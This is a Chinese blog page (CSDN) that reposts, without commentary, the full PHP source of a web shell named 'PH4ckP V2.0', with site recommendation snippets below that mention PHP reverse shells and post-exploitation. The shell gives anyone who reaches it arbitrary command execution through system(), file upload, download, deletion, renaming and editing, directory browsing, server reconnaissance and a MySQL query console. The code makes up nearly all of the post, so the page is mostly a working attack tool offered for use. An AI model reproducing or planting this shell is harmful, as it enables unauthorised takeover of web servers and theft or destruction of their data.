PHPshell

最新推荐文章于 2024-08-16 10:48:22 发布
最新推荐文章于 2024-08-16 10:48:22 发布
阅读量1.9k 收藏
点赞数
文章标签： file upload server function header php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/fegor/article/details/1596766
版权
<? php 
 /* -------------------------------------------- 
Codz By pr0cess 
MSN:l4ndishezhang@hotmail.com 
---------------------------------------------- 
 */  
 if  ( $downfile )              
        {@ set_time_limit ( 600 ); 
         $filename   =   basename ( $downfile ); 
         $filesize   =   filesize ( $downfile ); 
         header ( " Content-Type: application/force-download; name= " . $filename ); 
         header ( " Content-Transfer-Encoding: binary " ); 
         header ( " Content-Length: $filesize " ); 
         header ( " Content-Disposition: attachment; filename= " . $filename ); 
         header ( " Expires: 0 " ); 
         header ( " Cache-Control: no-cache, must-revalidate " ); 
         header ( " Pragma: no-cache " ); 

         readfile ( " $downfile " ); 
         exit (); 
     } 

 if ( $delfile != "" ){ 
      
         if ( is_file ( $delfile )){ 
            $message   =  (@ unlink ( $delfile )) 
               ?   " The deletion document succeeds!`$delfile` Already deleted! "  
               :   " The deletion document is defeated！`$delfile` The document exists! "  ; 
        } else { 
            $message   =   " File `$delfile` does not exist！ " ; 
        } 
     } 
 echo   $message ; 

 if  ( $refilename ){ 
  echo   ' <table> ' ; 
 echo   ' <form action="" method="post"> ' ; 
 echo   ' <br> ' ; 
 echo   ' <tr> ' ; 
 echo   ' <td align="left"> ' ; 
 echo   ' <font size="2"> ' ; 
 echo   ' Enter the newname to here： ' ; 
 echo   ' <input type="text" name="newname"/> ' ; 
 echo   ' <input type="submit" value="Rename"/> ' ; 
 echo   ' </tr> ' ; echo   ' </td> ' ; echo   ' </table> ' ; 
 $oldname = basename ( $refilename ); 
 if  (@ rename ( $oldname , $_POST [ ' newname ' ])){ 
    echo   ' <script>alert('文件改名成功!')</script> ' ;} 
    else  
   {  if  ( ! empty ( $_POST [ ' newname ' ])) 
     echo   ' <script>alert('文件改名失败!')</script> ' ;} 
} 

 if  ( $editfile ) { 
    echo   ' <table><tr> ' ; 
    echo   ' <form action="" method="post"> ' ; 
    echo   ' <input type="submit" value="Edition document"/> ' ; 
    echo   ' </tr> ' ; 
    $content = basename ( $editfile ); 
    $fp = @ fopen ( " $content " , " a+ " ); 
    $data = @ fread ( $fp , filesize ( $content )); 
    echo   ' <tr> ' ; 
    echo   ' <textarea name="newcontent" cols="80" rows="20" > ' ; 
    echo   $data ; 
   
    if  ( ! empty ( $_POST [ ' newcontent ' ])) 
   { echo   $result = $result = @ fwrite ( $fp , $_POST [ ' newcontent ' ]) ? " The injection document succeeds！Good Luck! " : " The injection document is defeated！ " ; 
   } 
} 
 echo   ' </textarea></tr></table> ' ; 
 ?>  
 < html >  
 < title > PH4ckP V2 . 0  β By pr0cess </ title >  
 < meta http - equiv = " Content-Type "  content = " text/html; charset=gb2312 " ; >  
 < STYLE type = " text/css " >  
body {font - family :   " sans-serif " ,   " serif " ; font - size :  12px;} 
BODY { background - color : # A2B5CD } 
a : link {color :   # BFEFFF; text-decoration: none} 
a : visited {color :   # 080808; text-decoration: none} 
a : hover {color :   # FFFFFF; text-decoration: underline} 
input {font - family :   " sans-serif " ,   " serif " ;font - size :  12px;} 
td {font - family :   " sans-serif " ,   " Verdana " ; font - size :  12px;} 
 . title {font - family :   " Verdana " ,   " Tahoma " ;font - size :  20px;font - weight :  bold; color = black} 
 </ STYLE >  
 </ head >  
 < body >  
 < table width = " 100% "   cellspacing = " 1 "  cellpadding = " 3 " >  
  < tr >  
    < td  class = " title "  align = " center " > PH4ckP V2 . 0  β </ td >  
  </ tr >  
 </ table >  
 < hr >  
 < table width = " 100% "   cellspacing = " 1 "  cellpadding = " 3 " >  
 < form action = " <?=$PHP_SELF?> "  method = " get " >  
  < tr >  
   
  </ tr >  
  </ form >  
  < tr >  
  < td > Operating  system :<? echo   PHP_OS ; ?></ td >< td > Server name :<? echo   $_SERVER [ ' SERVER_NAME ' ]; ?>< td > Server IP :<? echo   gethostbyname ( $_SERVER [ ' SERVER_NAME ' ]); ?></ tr >< tr ></ td >< td > Server  time :<? echo   date ( " Y年m月d日 h:i:s " , time ()); ?></ td >< td > Server port  :<? echo   $_SERVER [ ' SERVER_PORT ' ]; ?></ td ></ tr >  
  < tr >< td >< a href = http : // translate.google.com/translate_t>Click here to translate online </a></td></tr></table> 
< hr >  
 < table >< tr >< td >< a href = " ?shell=env " > 『PHP探针模块』 </ a ></ td >< td >< a href = " ?shell=checkdir " > 『目录浏览模块[快速]』 </ a ></ td >< td >< a href = " ?shell=command " > 『命令执行模块』 </ a ></ td >< td >< a href = " ?shell=sql " > 『数据库操作模块』 </ a ></ td >< td >< a href = " ?shell=change " > 『字符转换模块』 </ a ></ td ></ tr ></ table >  
 < hr >  
 < table >< tr >< td > Current   dir  of contents： <? php 
 if  ( ! isset ( $dir ) or  empty ( $dir )) { 
   $dir = str_replace ( ' / ' , ' / ' , dirname ( __FILE__ )); 
   echo   " <font color="#00688B"> " . $dir . " </font> " ; 
}  else  { 
   $dir = $_GET [ ' dir ' ]; 
   echo   " <font color="#00688B"> " . $dir . " </font> " ; 
} 
 ?></ td >  
  </ tr >  
 < tr >< td >  
 < form enctype = " multipart/form-data "  action = ""  method = " post " >  
UploadFile： 
 < input name = " upload_file "  type = " file "  style = " font-family:Verdana,Arial; font-size: 9pt; " >  
 < input type = " submit "  value = " Upload~ "  style = " font-family:Verdana,Arial; font-size: 9pt;background-color:#A2B5CD " >  
 </ form >  
 <?  
 // 文件上传 
$upload_file = $_FILES [ ' upload_file ' ][ ' tmp_name ' ]; 
 $upload_file_name = $_FILES [ ' upload_file ' ][ ' name ' ]; 

 if ( $upload_file ){ 
 $file_size_max   =   1000 * 1000 ; 
 $store_dir   =   " __FILE__ " ; 
 $accept_overwrite   =   1 ; 
 if  ( $upload_file_size   >   $file_size_max ) { 
 echo   " 兄弟！换个小点滴！！ " ; 
 exit ; 
} 


 if  ( file_exists ( $store_dir   .   $upload_file_name )  &&   ! $accept_overwrite ) { 
 Echo   " 文件已存在！ " ; 
 exit ; 
} 

 if  ( ! move_uploaded_file ( $upload_file , $upload_file_name )) { 
 echo   " 上传文件失败！ " ; 
 exit ; 
} 

} 

 Echo   " <p>Uploaded file: " ; 
 echo   $_FILES [ ' upload_file ' ][ ' name ' ]; 


 Echo   " Uploadfilesiza: " ; 
 echo   $_FILES [ ' upload_file ' ][ ' size ' ] / 1024 ; 


 $Erroe = $_FILES [ ' upload_file ' ][ ' error ' ]; 
 switch ( $Erroe ){ 
 case   0 :  
 Echo   " Loading... " ;  break ; 
 case   1 :  
 Echo   " 上传的文件超过限制！ " ;  break ; 
 case   2 :  
 Echo   " 上传文件的大小超过限制！ " ;  break ; 
} 
 echo   ' </td></tr> ' ; 

 echo   ' </tr> ' ; 

 echo   ' </table> ' ; 
 ?>  
 <? php 
 echo   ' <table width="100%" border="0" cellspacing="1" cellpadding="3"> ' ; 
 echo   ' <form action="" method="get"> ' ; 
  echo   ' <tr> ' ; 
    echo   ' <td> ' ; 
 echo   " The dir of contents glances over： " ; 
 echo   ' <input type="text" name="dir" style="font-family:Verdana,Arial; font-size: 9pt;"> ' ; 
      echo   ' <input type="submit" value="GoTo" style="font-family:Verdana,Arial; font-size: 9pt;background-color:#A2B5CD "> ' ; 
   echo   ' </td> ' ; 
  echo   ' </tr> ' ; 
 echo   ' </form> ' ; 
 echo   ' <table width="100%" border="0" cellpadding="3" cellspacing="1"> ' ; 
  echo   ' <tr> ' ; 
   echo   ' <td><b> ' ; echo   " Sub-Dir of contents " ; echo   ' </b></td> ' ; 
           echo   ' </tr> ' ; 

 $dirs = @ opendir ( $dir ); 
 while  ( $file = @ readdir ( $dirs )) { 
   $b = " $dir/$file " ; 
   $a = @ is_dir ( $b ); 
   if ( $a == " 1 " ){ 
   if ( $file != " .. " && $file != " . " )   { 
      echo   " <tr> " ; 
      echo   "   <td><a href="?dir= " . urlencode ( $dir ) . " / " . urlencode ( $file ) . " ">$file</a></td> " ; 
      echo   " </tr> " ; 
  }  else  { 
      if ( $file == " .. " ) 
      echo   " <a href="?dir= " . urlencode ( $dir ) . " / " . urlencode ( $file ) . " ">Back higher authority dir of contents</a> " ; 
     } 
  } 
} 
@ closedir ( $dirs ); 
 ?>  
 </ table >  
 < hr >  
 < table width = " 100% "  border = " 0 "  cellpadding = " 3 "  cellspacing = " 1 " >  
          < tr >  
            < td >< b > Filename </ b ></ td >  
            < td >< b > Filedate </ b ></ td >  
            < td >< b > Filesize </ b ></ td >  
            < td >< b > Fileoperates </ b ></ td >  
          </ tr >  
 <? php 
 $dirs = @ opendir ( $dir ); 
 while  ( $file = @ readdir ( $dirs )) { 
   $b = " $dir/$file " ; 
   $a = @ is_dir ( $b ); 
   if ( $a == " 0 " ){ 
   $size = @ filesize ( " $dir/$file " ) / 1024 ;  
   $lastsave = @ date ( " Y-n-d H:i:s " , filectime ( " $dir/$file " )); 
    echo   " <tr> " ; 
    echo   " <td>$file</td> " ; 
   echo   "   <td>$lastsave</td> " ; 
    echo   "   <td>$size KB</td> " ; 
   echo   "   <td><a href="?downfile= " . urlencode ( $dir ) . " / " . urlencode ( $file ) . " ">［Down］</a><a href="?dir= " . urlencode ( $dir ) . " &delfile= " . urlencode ( $dir ) . " / " . urlencode ( $file ) . " ">［Delete］</a></a><a href="?refilename= " . urlencode ( $dir ) . " / " . urlencode ( $file ) . " ">［Rename］</a><a href="?editfile= " . urlencode ( $dir ) . " / " . urlencode ( $file ) . " ">［Injects］</a></td> " ; 
   echo   " </tr> " ; 
  } 
} 
@ closedir ( $dirs ); 
 ?></ table >  
 < hr >  
 <? if  ( $_GET [ ' shell ' ] == " env " ){ 
 function  dir_wriable( $dir ){ 
   $xY7_test = tempnam ( " $dir " , " test_file " ); 
   if  ( $fp = @ fopen ( $xY7_test , " w " )){ 
    @ fclose ( $fp ); 
    @ unlink ( $xY7_test ); 
     $wriable = " ture " ; 
  } 
    else  { 
     $wriable = false  or  die  ( " Cannot open $xY7_test! " ); 
  } 
   return   $wriable ; 
} 
 if  (dir_wriable( str_replace ( ' // ' , ' / ' , dirname ( __FILE__ )))){ 
     $dir_wriable = ' 目录可写 ' ; 
     echo   " <b>当前目录可写!^ _ ^</b> " ; 
   } 
      else { 
        $dir_wriable = ' 目录不可写 ' ; 
     echo   " <b>当前目录不可写！</b> " ; 
  } 

 function  getinfo( $xy7 ) 
{ 
   if ( $xy7 == 1 ) 
  { 
   $s = ' <font color=blue>YES<b>√</b></font> ' ; 
  } 
   else  
  { 
   $s = ' <font color=red>NO<b>×</b></font> ' ; 
  } 
   return   $s ; 
}  echo   ' <br><br> ' ; 
  echo   ' <br> ' ; 
  echo   " 服务器系统： "  ; 
  echo   PHP_OS ; 
  echo   ' <br> ' ; 
  echo   " 服务器域名: " ; 
  echo   $_SERVER [ ' SERVER_NAME ' ]; 
  echo   ' <br> ' ; 
  echo   " WEB服务器端口： " ; 
  echo   $_SERVER [ ' SERVER_PORT ' ]; 
  echo   ' <br> ' ; 
  echo   " 服务器时间: " ; 
  echo   date ( " Y年m月d日 h:i:s " , time ()); 
  echo   ' <br> ' ; 
  echo   " 服务器IP地址: " ; 
  echo   gethostbyname ( $_SERVER [ ' SERVER_NAME ' ]); 
  echo   ' <br> ' ; 
  echo   " 服务器操作系统文字编码: " ; 
  echo   $_SERVER [ ' HTTP_ACCEPT_LANGUAGE ' ]; 
  echo   ' <br> ' ; 
  echo   " 服务器解释引擎: " ; 
  echo   $_SERVER [ ' SERVER_SOFTWARE ' ]; 
  echo   ' <br> ' ; 
  echo   " PHP运行方式: " ; 
  echo   strtoupper ( php_sapi_name ()); 
  echo   ' <br> ' ; 
  echo   " PHP版本: " ; 
  echo   PHP_VERSION ; 
  echo   ' <br> ' ; 
  echo   " ZEND版本: " ; 
  echo   zend_version (); 
  echo   ' <br> ' ; 
  echo   " 本文件绝对路径: " ; 
  echo   __FILE__ ; 
  echo   ' <br> ' ; 
  echo   " 服务器剩余空间: " ; 
  echo   intval ( diskfreespace ( " . " )  /  ( 1024   *   1024 )) . ' MB ' ; 
  echo   ' <br> ' ; 
  echo   " 脚本运行可占最大内存: " ; 
  echo   get_cfg_var ( " memory_limit " ); 
  echo   ' <br> ' ; 
  echo   " 脚本上传文件大小限制: " ; 
  echo   get_cfg_var ( " upload_max_filesize " ); 
  echo   ' <br> ' ; 
  echo   " 被屏蔽函数: " ; 
  echo   get_cfg_var ( " disable_functions " ); 
  echo   ' <br> ' ; 
  echo   " POST方法提交限制: " ; 
  echo   get_cfg_var ( " post_max_size " ); 
  echo   ' <br> ' ; 
  echo   " 脚本超时时间: " ; 
  echo   get_cfg_var ( " max_execution_time " ) . " 秒 " ; 
  echo   ' <br> ' ; 
  echo   " 动态链接库: " ; 
  echo  getinfo( get_cfg_var ( " enable_dl " )); 
  echo   ' <br> ' ; 
  echo   " 自定义全局变量: " ; 
  echo  getinfo( get_cfg_var ( " register_globals " )); 
  echo   ' <br> ' ; 
  echo   " 显示错误信息: " ; 
  echo  getinfo( get_cfg_var ( " display_errors " )); 
  echo   ' <br> ' ; 
  echo   " PHP安全模式: " ; 
  echo  getinfo( get_cfg_var ( " safe_mode " )); 
  echo   ' <br> ' ; 
  echo   " FTP文件传输: " ; 
  echo  getinfo( get_magic_quotes_gpc ( " FTP support " )); 
  echo   ' <br> ' ; 
  echo " 允许使用URL打开文件: " ; 
  echo  getinfo( get_cfg_var ( " allow_url_fopen " )); 
  echo   ' <br> ' ; 
  echo   " SESSION支持: " ; 
  echo  getinfo( function_exists ( " session_start " )); 
  echo   ' <br> ' ; 
  echo   " Socket支持: " ; 
  echo  getinfo( function_exists ( " fsockopen " )); 
  echo   ' <br> ' ; 
  echo   " MYSQL数据库: " ; 
  echo  getinfo( function_exists ( " mysql_close " )); 
  echo   ' <br> ' ; 
  echo   " SQL SERVER数据库: " ; 
  echo  getinfo( function_exists ( " mssql_close " )); 
  echo   ' <br> ' ; 
  echo   " ODBC数据库: " ; 
  echo  getinfo( function_exists ( " odbc_close " )); 
  echo   ' <br> ' ; 
  echo   " Oracle数据库: " ; 
  echo  getinfo( function_exists ( " ora_close " )); 
  echo   ' <br> ' ; 
  echo   " SNMP协议: " ; 
  echo  getinfo( function_exists ( " snmpget " )); 
  echo   ' <br> ' ; 
  echo   ' <br> ' ; 
} 
 elseif  ( $_GET [ ' shell ' ] == " checkdir " ){ 
  global   $PHP_SELF ; 
  echo   ' <form action="" method="post"> ' ; 
  echo   " 快速目录浏览: " ; 
  echo   ' <input type="text" name="dir" style="font-family:Verdana,Arial; font-size: 9pt;"/> ' ; 
  echo   ' <input type="submit" value="GoTo" style="font-family:Verdana,Arial; font-size: 9pt; background-color:#A2B5CD"/> ' ; 
  echo   ' <br> ' ; 
  echo   ' <textarea name="textarea" cols="70" rows="15"> ' ; 
  if  ( empty ( $_POST [ ' dir ' ])) 
  $newdir = " ./ " ; 
  else  
  $newdir = $_POST [ ' dir ' ]; 
  $handle = @ opendir ( $newdir ); 
  echo   " handle: $handle " ; 
  while  ( $file = @ readdir ( $handle )) 
   { echo  ( " $file  " );} 
  echo   ' </textarea> ' ; 
  echo   ' <br> ' ; 
  $nowdir = dirname ( $PHP_SELF ); 
} 
 elseif  ( $_GET [ ' shell ' ] == " command " ){ 
 echo   ' <table> ' ; 
 echo   ' <form action="" method="post"> ' ; 
 echo   ' <br> ' ; 
 echo   ' <tr> ' ; 
 echo   ' <td align="left"> ' ; 
 echo   ' Enter your command： ' ; 
 echo   ' <input type="text" name="cmd" style="font-family:Verdana,Arial; font-size: 9pt;"/> ' ; 
 echo   ' <input type="submit" value="Run" style="font-family:Verdana,Arial; font-size: 9pt;background-color:#A2B5CD"/> ' ; 
 echo   ' </tr> ' ; echo   ' </td> ' ; 
 echo   ' <tr> ' ; 
 echo   ' <td> ' ; 
 echo   ' <textarea name="textarea" cols="70" rows="15" readonly> ' ; 
 @ system ( $_POST [ ' cmd ' ]); 
  echo   ' </textarea> ' ; 
} 

 elseif  ( $_GET [ ' shell ' ] == " change " ){ 
 echo   ' <form action="" method="post"> ' ; 
 echo   ' <br> ' ; 
 echo   " Enter binary character: " ; 
 echo   ' <input type="text" name="char" style="font-family:Verdana,Arial; font-size: 9pt;"/> ' ; 
 echo   ' <input type="submit" value="Transforms to Hexadecimal" style="font-family:Verdana,Arial; font-size: 9pt; background-color:#A2B5CD"/> ' ; 
 echo   ' </form> ' ; 
 echo   ' <textarea name="textarea" cols="40" rows="1" readonly> ' ; 
 $result = bin2hex ( $_POST [ ' char ' ]); 
  echo   " 0x " . $result ; 
  echo   ' </textarea> ' ; 
} 

 elseif  ( $_GET [ ' shell ' ] == " sql " ){ 
   echo   ' <table align="center" cellSpacing=8 cellPadding=4> ' ; 
   echo   ' <tr><td> ' ; 
   echo   ' <form action="" method="post"> ' ; 
   echo   " Host: " ; 
   echo   ' <input name="servername" type="text" style="font-family:Verdana,Arial; font-size: 9pt;"> ' ; 
   echo   ' </td><td> ' ; 
   echo   " Username: " ; 
   echo   ' <input name="username" type="text" style="font-family:Verdana,Arial; font-size: 9pt;"> ' ; 
   echo   ' </td></tr> ' ; 
   echo   ' <tr><td> ' ; 
   echo   " Password: " ; 
   echo   ' <input name="password" type="text" style="font-family:Verdana,Arial; font-size: 9pt;"> ' ; 
   echo   ' </td><td> ' ; 
   echo   " DBname: " ; 
   echo   ' <input name="dbname" type="text" style="font-family:Verdana,Arial; font-size: 9pt;"> ' ; 
   echo   ' <input type="submit" value="Connect" style="font-family:Verdana,Arial; font-size: 9pt; background-color:#A2B5CD"/> ' ; 
   echo   ' </td></tr> ' ; 
   if  (@ mysql_connect ( $servername , $username , $password ) and @ mysql_select_db ( $dbname )) { 
      echo   " The database connects successfully! " ; 
      mysql_close (); 
  }  else  { 
      echo   mysql_error (); 
  } 
   if  ( ! empty ( $dbresult )){ 
      $dbresult   =  @ mysql_query ( $_POST [ ' query ' ]); 
      echo  ( $result )  ?   " Requests successfully! "   :   " The request makes a mistake:  " . mysql_error (); 
      mysql_close ();} 
      echo   ' <tr><td> ' ; 
      echo   ' <textarea name="query" cols="60" rows="10"> ' ; 
      echo   ' </textarea> ' ; 
      echo   ' </td></tr> ' ; 
      echo   ' <tr><td align="center"> ' ; 
      echo   ' <input type="submit" value="Execution SQL_query" style="font-family:Verdana,Arial; font-size: 9pt; background-color:#A2B5CD"/> ' ; 
      echo   ' </td></tr> ' ; 
      echo   ' </table> ' ; 

} 

 ?>  
 < table align = " center " >< tr >< td >  
 < h6 > Copyright (C)  2006  All Rights Reserved 
 </ td ></ tr ></ table >  
 
fegor
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
php的shell_exec使用,php shell_exec() 命令用法_PHP教程
weixin_39921131的博客
03-17 1062
$bf = new chargen(2); // new chargen object, length 2$bf->generate("whois"); // generate chars and call whois functionfunction whois($str){$domain = $str.".com";$retval = shell_exec("whois $domain"...
PHP Shell Terminal-开源
04-25
**PHP Shell Terminal 开源项目详解** PHPterm是一个创新的开源工具，它允许用户在Web浏览器环境中执行Shell命令，类似于在本地计算机上的Shell终端或外壳仿真器。这个项目的诞生，为那些希望通过Web界面远程管理和...
php shell,php中执行shell脚本的实现方法
weixin_30538955的博客
03-09 1223
代码如下：复制代码 代码示例:$message=shell_exec("sudo /usr/local/nginx/sbin/nginx -t 2>&1");echo "运行结果:".$message."";?>以上代码直接在PHP中执行SHELL语句。如果有返回值，其中的 2>&1 是必须的 它负责重定向输出strerr 转到strout 输出。否则返回结果会为...
php shell传参数,PHP与Shell之间传参
weixin_42315996的博客
03-09 859
1、php给shell传递参数php程序中通过执行shell脚本传递参数值$param1和$param2:shell_exec("./getparam.sh $param1 $param2");shell脚本中通过$n来获得传递的相关参数，$0为php页面的名称(getparam.php)，$1为传递的一个参数$param1，$2为传递的第二个参数$param2。#!/bin/bashgpara...
PHP反弹shell
痴人说梦梦中人
09-26 7434
步骤详解： 前提： ①、PHPStudy开启相关服务。 ②、假设木马已上传至服务器且可以访问（即执行代码才能反弹shell）。 ③、攻击机器和受害服务器要处于同一网段。 1、划线为攻击机的IP+端口。 2、攻击机监听自身端口4444，即可获取执行shell。 <?php set_time_limit(0); $ip=$_POST['ip']; $port=$_POST['port'];...
PHP shell_exec 直接文件调起linux命令
༺墨༒眉༻
05-14 851
使用函数： shell_exec—通过 shell 环境执行命令，并且将完整的输出以字符串的方式返回。 shell_exec('php -f user_clean_perform.php &'); 官方文档：https://www.php.net/manual/zh/function.shell-exec.php linux命令中，执行一个程序，后面加上&, 代表的意思...
PHP调用shell命令
黑喵警长的博客
05-09 8076
PHP调用shell命令 前言 因为想用php调用python脚本，于是想到可以利用php调用shell命令的方法实现。 php版本：php7.0 三种方法 1.system system — 执行外部程序，并且显示输出 函数使用方法 system ( string $command [, int &$return_var ] ) : string example: <?php...
php使用命令shell_exec
qq_34631220的博客
10-06 1505
【代码】php使用命令shell_exec。
php 执行shell的方式
我有一个魔盒的博客
01-29 1482
执行shell，并直接打印，也返回结果。
php反弹shell脚本
a1_pha的博客
01-24 804
用msfvenom也可以生成反弹shell脚本，但有时候用不了。
PHP执行shell_exec方法失败
热门推荐
HONG的个人博客
05-06 3万+
多半原因在php.ini文件中未打开方法权限 在php.ini开启即可
cgi.zip_PHP SHELL_lom
09-23
标题 "cgi.zip_PHP SHELL_lom" 暗示了这是一个与PHP Shell相关的压缩包，特别指出是用于Linux服务器，并且可能与CGI（Common Gateway Interface）有关。CGI是一种标准，允许Web服务器运行由其他应用程序生成的动态...
使用php shell命令合并图片的代码
12-18
/usr/local/bin/php -q author:freemouse <?php // 下面是说明. print (“本程序用于合并2张 640×480大小的.\n”); print (“图片，并将其转化为一张 400×300 大小的图片\n”); print (“需要指定存放合成前...
Shell:一个简单PHP Shell
04-06
这是一个简单PHP shell。 它允许您执行基本的文件系统和终端操作，但是它比大多数其他Shell都远得多。 用法 此外壳程序可用于简单的服务器管理。 如果您打算在被劫持的服务器上使用此Shell，请不要这样做。 单个...
phpshell很好用
05-30
**PHPShell：强大的Web后渗透工具** PHPShell是一款基于PHP编写的交互式命令行工具，它允许攻击者在目标服务器上执行远程命令，进行Web后渗透测试。由于PHP语言的广泛使用，PHPShell成为了安全研究人员和黑客进行...
文件上传-.user.ini利用
feiwujiushiwo的博客
08-13 243
php.ini是php的全局配置文件，对整个web服务起作用.user.ini和.htaccess都是目录的配置文件.user.ini是用户自定义的php.in理解为包含文件。
多媒体技术及应用课程思政网站
m0_73706453的博客
08-15 425
在Internet高速发展的今天，我们生活的各个领域都涉及到计算机的应用，其中包括多媒体技术及应用课程思政网站的网络应用，在外国多媒体技术及应用课程思政已经是很普遍的方式，不过国内的多媒体技术及应用课程思政可能还处于起步阶段。多媒体技术及应用课程思政网站具有学习音频功能。多媒体技术及应用课程思政网站采用PHP语言，Thinkphp5框架，基于mysql开发，实现了首页、个人中心、学生管理、教师管理、课程分类管理、学习视频管理、学习课程管理、学习音频管理、课程笔记管理、反馈留言、系统管理等内容进行管理，本系
PHP多项目多场景排队叫号系统源码
最新发布
2401_84414018的博客
08-16 323
多项目多场景排队叫号系统的出现，不仅极大地改善了顾客的等待体验，也提升了服务机构的工作效率和管理水平。它让等待不再是一种负担，而是一种高效有序的享受。未来，随着技术的不断进步和应用场景的不断拓展，相信多项目多场景排队叫号系统将会为更多行业带来便捷和高效。让我们一起期待更加美好的智能服务时代吧！🚀🌟。
解决域名加别名后再代理或者映射到fastadmin项目
weixin_51957364的博客
08-12 265
如果遇到微应用不想再添加或者不方便添加单独的二级域名时，就需要用到代理或者映射来进入到我们的微应用项目中。然后再修改config.php文件里面的view_replace_str参数，添加你的域名加别名就可以了。可以修改route.php路由文件的下面这个参数。最后记得一定要再后台一键清理缓存！
php shell_exec
04-11
php shell_exec是一种PHP函数，用于执行操作系统中的shell命令并返回其输出。它可以用于访问系统级别的功能，例如执行系统命令或读取本地文件系统的列表。这个函数需要设置适当的安全措施来防止任意命令执行攻击。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值